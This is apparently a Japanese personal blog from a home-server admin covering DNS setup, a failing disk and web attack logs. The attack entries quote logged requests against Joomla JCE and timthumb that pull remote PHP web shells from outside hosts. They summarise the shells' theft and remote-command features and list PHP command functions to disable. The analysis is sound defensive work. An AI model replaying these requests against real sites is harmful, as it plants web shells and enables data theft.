ちょっと気になることがあってDNS立ててみた。
dnsmasq は超簡単なのだけれど……
どうみてもオープンリゾルバです。ありがとうございました。
という訳で、外から来る応答を返すのに使うのはちょっとマズい。
ということに気がついた。
気がついたのは、好き勝手やった後なのだけれど。
BIND はちょっと敬遠したい。
なんか、イメージが良くないよね。BIND。
難しいとか、バグいっぱいとか。
結局選んだのは NSD。
ゾーンファイルとか訳わからん状態から手探りであれこれやって、
何度か konata.net の鯖を応答できない状態に陥れたりしてとりあえず構築完了。
まぁ、そんなにアクセスがあるわけでないから問題ないよね。
臨時用2ch串開けてた頃ならちょっと被害があったかもしれんけど。
2chは規制が綺麗サッパリ消えて一時の平穏が訪れた様子。
でも、書き込み時にポートスキャンするようになったとか何とか。
ま、書き込まないから気にしても仕方なし。
閑話休題。
ひとまず、試したいことは出来たのでしばらくこの構成で行ってみよう。
さて、らいつべバルーン直さなきゃ……
自宅サーバのApacheに対するPOSTメソッドをかるくさらってみる。
大抵は海外のよく分からんホストからのPOST要求で、当然ウチのサーバは要求を蹴ってるのだけれど、
その中で目を引いたのが以下。
さくらのVPSかなんかだとおもうのだけれど、もろ国内。
アクセス要求は、例によって、Joomlaのプラグイン宛に脆弱性のあるファイルを突っ込もうとしてると思われる。
ご丁寧にもUser-Agentが “BOT/0.1 (BOT for JCE)”となっているので、BOTからのアクセスだと愚直に信じることにする。
aguse で調べると、両方共フィリピンのドメインだけれども、コンテンツ内容は日本向け。
それぞれ、飲食店とCADの会社のようだけれど運営母体が一緒のパターンか?
どんな罠しかけられてるのか分からんので、アクセスする気は無いけれど。
通報してもよいのだけれど、藪蛇になったら面倒だ。
という訳で、放置決定。
別に自分とこのサーバがやられた訳ではないので気楽なもんである。
タイトル通り。
konata.net のサーバには HP の MicroServer NL36 を使っているのだけれど、
そのサーバの調子が今ひとつよろしくない。
具体的には、突然リブートがかかる。
リブートがかかる時間は決まって深夜3時頃ということしか判明していない。
症状が出始めてからの起動ログはこんな感じ。
少しずつ、感覚が短くなっているのが気にかかる。
ただ、中の人は寝てる時間だし、その後の再起動で失敗するということも無いので、
今のところ目立った実害が無いというのが正直な所。
臨時用2ch串やってた頃は、その時間帯でもアクセスが多少あったので影響があったけれど。
同じような時刻に発生していることから、cron起動してる何かに問題があるのかとも
思ったけれど、それらしいプロセスが動いている気配もない。
発生時刻があまりにも似通っているので、コンデンサがやられたとかそういう話も無いと思われる。
後は、考えたくないけれど、なにかしらのセキュリティの穴をやられて遠隔操作されているとか。
ただ、その場合だとリブートかけるような目立つ操作をやるとは考えにくい。
もう少し原因を考えてみるつもりではあるけれど、これといった手がかりがないので
正直八方塞がりではある、さて、どうしたものか……
9/5追記
postfixを再起動したら、「 /var/spool/postfix/corrupt に壊れたメールがあるよ~」と言われる。
中を見たら、上記のリブート時刻と前後した形で0バイトのファイルができていた。
「午前3:00」と「メール」ときてようやく思い当たる。
チャーリーさんからのメールだ。
となると、ソフトウェア上では同じ処理をしているのに、リブートしたりしなかったりする。
ということになるわけで、俄然HW障害の可能性が高くなってきた。
思い当たるフシもアリアリで、見ないふりしてたけど、ATAでなんかエラー吐いてたんだ。
そのエラーがこちら。
でもって、HDDのSmart値の一部。
Reallocated_Sector_Ct 0x0033 100 100 036 Pre-fail Always – 11
はい、代替処理済みセクタが出てました。
なんか、今年は出費がかさむなぁ……
と、大袈裟なタイトルだけぶちあげてなんとなく良いこと言ってるように見せかけるテスト。
前の日記で書いた、 images/stories/3xp.php に対する攻撃は実体が取れなくて諦めたのだけれど、
Apacheのログをあさると、なにやら怪しげなGET要求がチラホラと。
大きく分けて以下の2つ。
index.php?option=com_jce&task=plugin&plugin=imgmanager&file=imgmanager&version=1576&cid=20?src=https://picasa.com.buscadordetrabajo.es/cybercrime.php
components/com_virtuemart/themes/pbv_multi/scripts/timthumb.php?src=https://picasa.com.winstonsalemdentistry.com/hajar.php
攻撃対象は恐らく両方共Joomlaをインストールした環境で、要求内容から察するに画像関連を扱うもの。
要求内のURLは、GIF画像に見せかけた攻撃コードが含まれており、
外からの要求を受け付けてしまうJoomla環境に画像(に見せかけた攻撃コード)の
アップロードを行おうとしているようだ。
多分、ブラウザで画像フォルダなんかを開いた時に感染するんじゃないだろうか。
中を落としてエディタで開くと、 eval(gzinflate(base64_decode(“ここに攻撃コード”) みたいな感じで
コードが分かりにくくしてある。
ただし、普通のテキストなので、evalをechoに変えて、
コマンドラインからphpを実行してやるとコードの正体が明らかになってくる。
cybercrime.php の方は大したことはなく、パラメータによって、以下の3つの機能を実現する。
・phpのコマンド実行系の関数が使えるかをチェック
・任意のコマンドを実行する
・任意のファイルをアップロードするアップローダ
大したことは無いと言いつつ、この威力。
hajar.php の方は結構な大作で、全部を追うのは面倒なので途中で投げたのだけれど、
ざっくり見た感じ以下の機能が入っている。
・侵入できたサーバのIPと侵入用のURLをメール送信。
・WordPressのなにか設定ファイルっぽいのを取得
・Google、Yahoo等の検索エンジン避け
・/etc/passwd /etc/shadow *.conf、*.sql をはじめとする各種設定ファイルの取得
・MySQL、PostgreSQL、Oracle、MSSQL へのアクセスと情報取得
・ポートを空けて任意のコマンドを受け付けるPerlスクリプトの実行
・Kernelバージョンを取得して、脆弱性のチェック
・FTP へのブルートフォース用のなにか
・遠隔からのファイル操作用のもろもろ
もうやりたい放題で、デコード後のコードサイズ70KBは伊達じゃない。
取れるものは根こそぎ取っていこうというアグレッシブな気概すら感じる。
まぁ、あれだ、ファイルを置かれた時点でもう終わってる。
というわけで、php.ini の disable_functions はちゃんと設定しておきましょうという教訓。
両方に共通する、攻撃の起点となる eval や gzinflate なんかは普通に使う分にはなかなかお目にかかれないし、
コマンド実行系の exec,shell_exec,system,passthru,popen,proc_open は、たしかに便利で、
konata.net でも一部使っているのだけれど、使えないなら使えないでやりようはある。
コマンド実行系は真っ先に狙われる上、中に書かれたコマンドは php.ini の open_basedir なんかの制限を受けないので、
よりヤバいという事情もある。
httpd.conf や .htaccess を使って、アクセス制限を厳しくすると言った手法は古典的であっても有効で、
例えば、Linuxのディストリにプリインストールされてるhttpd.confなんて捨てて、
1からセキュリテイと機能の両方を意識して書いてみるのもいい。
httpd.conf で行った権限設定が、配下のディレクトリにどのような影響をおよぼすのか?
とか、そういうのはやっぱり一度、自分の目でみて自分で考えて吸収するべきだから。
盛大に流出をやらかした、2chとか、@PAGES、ロリポップ なんかを
馬鹿だアホだ無能だと蔑むことは出来るけれども、
それよりもまずはそれを他山の石とする所から始めなければならないわけで。
守る側よりも攻める側が楽なのは今も昔も変わらない。
そして、セキュリテイに完璧は存在しない。
と、なんかいい事言ってやった気になって終わる。
定例の脆弱性スキャン。
あんまり毎日来るので、ちょろっとスクリプト書いてなにをプレゼントしてくれるのか確認することにした。
あれだね、こういう時は待ち遠しくなるね。
物の見方を変えると、世界が変わるいい例じゃないかと。
$date = date(“Ymd-His”);
$fp = fopen($date.”.txt”,”w”);
$dat = “POST
“;
foreach($_POST as $var){
$dat .= “key:”.key($_POST).”
“;
$dat .= “value:”.$var.”
“;
next($_POST);
}
fwrite($fp,”GET
“);
foreach($_GET as $var){
$dat .= “key:”.key($_GET).”
“;
$dat .= “value:”.$var.”
“;
next($_GET);
}
fwrite($fp,$dat);
fclose($fp);
?>
後は果報を寝て待つばかりである。
待ちぼうけ 待ちぼうけ
8/30追記
アクセスはくるんだけど、なかなかGETなりPOSTなりしてくれない。
どうも、しょっぱなからスクリプト送りつけてくるのは稀らしい、
となると、オリジナルの3xp.php の表示を偽装してやる必要が出てくる。
小一時間探してオリジナルの情報を拾えなかったので、
スクリプト送ってくれる相手がくるまで放置かなぁ……